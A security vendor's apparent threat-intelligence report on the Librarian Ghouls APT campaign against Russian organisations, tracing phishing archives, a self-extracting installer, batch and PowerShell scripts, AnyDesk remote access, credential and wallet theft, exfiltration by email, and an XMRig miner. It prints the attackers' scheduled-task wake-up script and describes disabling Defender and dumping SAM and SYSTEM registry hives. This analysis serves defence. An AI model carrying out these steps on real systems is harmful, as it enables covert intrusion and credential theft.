## Introduction<\/p>\n
Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an APT group that targets entities in Russia and the CIS. Other security vendors are also monitoring this APT and releasing analyses of its campaigns. The group has remained active through May 2025, consistently targeting Russian companies.<\/p>\n
A distinctive feature of this threat is that the attackers favor using legitimate third-party software over developing their own malicious binaries. The malicious functionality of the campaign described in this article is implemented through command files and PowerShell scripts. The attackers establish remote access to the victim’s device, steal credentials, and deploy an XMRig crypto miner in the system.<\/p>\n
Our research has uncovered new tools within this APT group’s arsenal, which we will elaborate on in this article.<\/p>\n
## Technical details<\/p>\n
### Initial infection vector<\/p>\n
Attacks by Librarian Ghouls continued almost unabated throughout 2024. We observed a slight decline in the group’s activity in December, followed immediately by a new wave of attacks, which is ongoing. The group’s primary initial infection vector involves targeted phishing emails that contain password-protected archives with executable files inside. These malicious emails are typically disguised as messages from legitimate organizations, containing attachments that appear to be official documents. The infection process is as follows: the victim opens the attached archive (the password is usually provided in the email body), extracts the files inside, and opens them.<\/p>\n
We managed to get hold of a malicious implant from an archive disguised as a payment order. The sample is a self-extracting installer made with the Smart Install Maker utility for Windows.<\/p>\n
The installer contains three files: an archive, a configuration file, and an empty file irrelevant for our analysis. They are later renamed into `data.cab`, `installer.config` and `runtime.cab` respectively.<\/p>\n
The primary malicious logic resides in the installer’s configuration file. It uses a variety of registry modification commands to automatically deploy the legitimate window manager, 4t Tray Minimizer, onto the system. This software can minimize running applications to the system tray, allowing attackers to obscure their presence on the compromised system.<\/p>\n
Once 4t Tray Minimizer is installed, the installer pulls three files from `data.cab` and puts them into the `C:\\Intel` directory, specifically at:<\/p>\n
**File** | **Name when archived** | **Path on the infected system**
—|—|—
Legitimate PDF as a decoy | 0 | \\Intel\\Payment Order # 131.pdf
Legitimate curl utility executable | 1 | \\Intel\\curl.exe
LNK file | 2 | \\Intel\\AnyDesk\\bat.lnk <\/p>\n
The PDF decoy resembles an order to pay a minor amount:<\/p>\n

### rezet.cmd<\/p>\n
Once `data.cab` is unpacked, the installer generates and executes a `rezet.cmd` command file, which then reaches out to the C2 server `downdown[.]ru`, hosting six files with the JPG extension. `rezet.cmd` downloads these to `C:\\Intel`, changing their file extensions to: `driver.exe`, `blat.exe`, `svchost.exe`, `Trays.rar`, `wol.ps1`, and `dc.exe`.<\/p>\n
* `driver.exe` is a customized build of `rar.exe`, the console version of WinRAR 3.80. This version has had user dialog strings removed: it can execute commands but provides no meaningful output to the console.
* `blat.exe` is Blat, a legitimate utility for sending email messages and files via SMTP. Attackers use this to send data they steal to an email server they control.
* `svchost.exe` is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.
* `dc.exe` is Defender Control, which allows disabling Windows Defender.<\/p>\n
After downloading the files, the script uses the specified password and the `driver.exe` console utility to extract `Trays.rar` into the same `C:\\Intel` directory and run the unpacked `Trays.lnk`. This shortcut allows starting 4t Tray Minimizer minimized to the tray.<\/p>\n
Next, the script installs AnyDesk on the compromised device and downloads a `bat.bat` file from the C2 server to `C:\\Intel\\AnyDesk`. Finally, `rezet.cmd` runs `bat.lnk`, which was previously extracted from `data.cab`.<\/p>\n
### bat.bat<\/p>\n
Opening the `bat.lnk` shortcut runs the `bat.bat` batch file, which executes a series of malicious actions.<\/p>\n
#### Disabling security measures and a scheduled task<\/p>\n
First, the BAT file sets the password `QWERTY1234566` for AnyDesk, which allows the attackers to connect to the victim’s device without asking for confirmation.<\/p>\n
Next, the script uses the previously downloaded Defender Control (`dc.exe`) application to disable Windows Defender.<\/p>\n
To verify that the victim’s computer is on and available for remote connections, the batch file runs the `powercfg` utility six times with different parameters. This utility controls the local machine’s power settings.<\/p>\n
Next, `bat.bat` runs the `schtasks` utility to create a `ShutdownAt5AM` scheduler task, which shuts down the victim’s PC every day at 5 AM as the name suggests. It is our assessment that the attackers use this technique to cover their tracks so that the user remains unaware that their device has been hijacked.<\/p>\n

**_Disabling security measures and the power management configuration in bat.bat_**<\/p>\n
#### Wakeup script and data theft<\/p>\n
Next, the batch file executes the `wol.ps1` script via PowerShell.<\/p>\n
$Action = New-ScheduledTaskAction -Execute “C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe”
$Trigger = New-ScheduledTaskTrigger -Daily -At “01:00AM”
$Principal = New-ScheduledTaskPrincipal -UserId “SYSTEM” -LogonType ServiceAccount -RunLevel Highest
# Creating task settings
$TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun
# Registering task in Task Scheduler
Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName “WakeUpAndLaunchEdge” -Settings $TaskSettings -Force<\/p>\n
**_Contents of the “wol.ps1” script_**<\/p>\n
This script launches Microsoft Edge every day at 1 AM. We found no evidence of `msedge.exe` being replaced or compromised, leading us to believe it is a genuine Microsoft Edge executable. This daily browser activation wakes the victim’s computer, giving attackers a four-hour window to establish unauthorized remote access with AnyDesk before the scheduled task shuts the machine down at 5 AM.<\/p>\n
Following the execution of the PowerShell script, `bat.bat` removes the curl utility, the `Trays.rar` archive, and the AnyDesk installer. The attackers no longer need these components: at this stage of the infection, all necessary malicious files and third-party utilities have been downloaded with curl, `Trays.rar` has been unpacked, and AnyDesk has been installed on the device.<\/p>\n
After that, the batch file sets environment variables for Blat. These variables contain, among other things, the email addresses where the victim’s data will be sent and the passwords for these accounts.<\/p>\n
The next step is to collect information stored on the device that is of interest to the attackers:<\/p>\n
* Cryptocurrency wallet credentials and seed phrases
* Dumps of the `HKLM\\SAM` and `HKLM\\SYSTEM` registry keys made with `reg.exe`<\/p>\n

**_Data collection by bat.bat_**<\/p>\n
The BAT file uses `driver.exe` to pack data it has collected into two separate password-protected archives. Then, the script runs `blat.exe` to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.<\/p>\n
#### Miner installation and self-deletion<\/p>\n
Next, `bat.bat` deletes the files generated during the attack from the `C:\\Intel\\` folder and installs a crypto miner on the compromised system. To do this, the script creates a `bm.json` configuration file containing the mining pool address and the attackers’ identifier, and then downloads `install.exe` from `hxxp:\/\/bmapps[.]org\/bmcontrol\/win64\/Install.exe`.<\/p>\n
`install.exe` is an installer that checks for the JSON configuration file and the `bmcontrol.exe` process in the system. If the process is detected, the installer terminates it.<\/p>\n
Then, `install.exe` downloads an archive with mining tools from `hxxps:\/\/bmapps[.]org\/bmcontrol\/win64\/app-1.4.zip`.<\/p>\n
The archive contains the following files:<\/p>\n
* `_install.exe`: a new version of the installer. While the samples in the attacks we analyzed were identical, we suspect the attackers have a scenario for updating the malware.
* `bmcontrol.exe`: miner controller
* `run.exe`, `stop.cmd`, `uninstall.cmd`: tools for starting, stopping, and removing the controller
* XMRig miner<\/p>\n
Depending on the parameters of the JSON file, the unmodified original installer file is used, or `_install.exe` is renamed to `install.exe` and run. After that, the installer adds `run.exe` to autorun. This utility checks for an already running `bmcontrol.exe` controller on the compromised system, and if it doesn’t find one, runs it from the downloaded archive.<\/p>\n
Once running, `bmcontrol.exe` creates two processes: `master` and `worker`. The `master` process launches and constantly monitors the `worker`, and also restarts it if the latter quits unexpectedly. In addition, the `master` passes the JSON configuration file to the `worker` process.<\/p>\n
Before launching the XMRig miner, the `worker` process collects the following system information:<\/p>\n
1. Available CPU cores
2. Available RAM
3. GPU<\/p>\n
This data is used to configure the miner on the compromised device and also sent to the attackers’ server. While XMRig is running, the `worker` maintains a connection to the mining pool, sending a request every 60 seconds.<\/p>\n
After installing the miner on the system, `bat.bat` removes itself from the victim’s device.<\/p>\n
### Legitimate software utilized by the attackers<\/p>\n
It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult. We have seen this pattern in current campaigns by various APT groups, in particular in the Likho cluster.<\/p>\n
Beyond the utilities discussed above, we also identified the following software in Librarian Ghouls attacks:<\/p>\n
* Mipko Personal Monitor: a DLP system that the attackers use to monitor the victim. The application can collect screenshots and record keystrokes among other things.
* WebBrowserPassView: a password recovery utility that can extract passwords stored in web browsers. The attackers use this to steal victims’ credentials.
* ngrok: a global reverse proxy that secures and accelerates network services. Used by the attackers to connect to target machines.
* NirCmd: a legitimate utility that facilitates various OS tasks without a visible user interface. The attackers use this to covertly run scripts and executables.<\/p>\n
### Phishing campaign<\/p>\n
Our investigation revealed several domains that we assess with low confidence to be associated with the ongoing Librarian Ghouls campaign. At the time of the investigation, some of them remained active, including `users-mail[.]ru` and `deauthorization[.]online`. These domains hosted phishing pages, generated with PHP scripts and designed to harvest credentials for the `mail.ru` email service.<\/p>\n
<\/p>\n

## Infrastructure<\/p>\n
The implant detailed in this article communicated with the command-and-control servers `downdown[.]ru` and `dragonfires[.]ru`. Both resolve to the IP address 185.125.51[.]5.<\/p>\n
Our analysis of the attackers’ infrastructure revealed a notable characteristic: several malicious web servers associated with this campaign had directory listing enabled, allowing us to inspect files they stored.<\/p>\n
<\/p>\n

## Victims<\/p>\n
Our telemetry indicated that, during the investigation period, hundreds of Russian users fell victim to this campaign. It primarily focuses on industrial enterprises, with engineering schools also being a target of interest. Furthermore, the attacks described also impacted users in Belarus and Kazakhstan.<\/p>\n
The phishing emails are notably composed in Russian and include archives with Russian filenames, along with Russian-language decoy documents. This suggests that the primary targets of this campaign are likely based in Russia or speak Russian.<\/p>\n
## About the attackers<\/p>\n
Librarian Ghouls APT exhibits traits commonly associated with hacktivist groups, such as the use of self-extracting archives and a reliance on legitimate, third-party utilities rather than custom-built malware binary modules.<\/p>\n
Since the beginning of the current campaign in December 2024, we have seen frequent updates to the implants, which vary in configuration files and the bundled sets of legitimate utilities. At the time of publishing this, our data encompassed over 100 malicious files connected to this campaign.<\/p>\n
## Takeaways<\/p>\n
At the time of this report’s release, the Librarian Ghouls APT campaign described in it is still active, as evidenced by attacks we observed in May 2025. Consistent with previous activity, the attackers leverage third-party legitimate utilities rather than developing custom tools. All of the malicious functionality still relies on installer, command, and PowerShell scripts. We observe that the attackers are continuously refining their tactics, encompassing not only data exfiltration but also the deployment of remote access tools and the use of phishing sites for email account compromise. We constantly monitor this threat actor and will continue to share up-to-date information about its activity.<\/p>\n
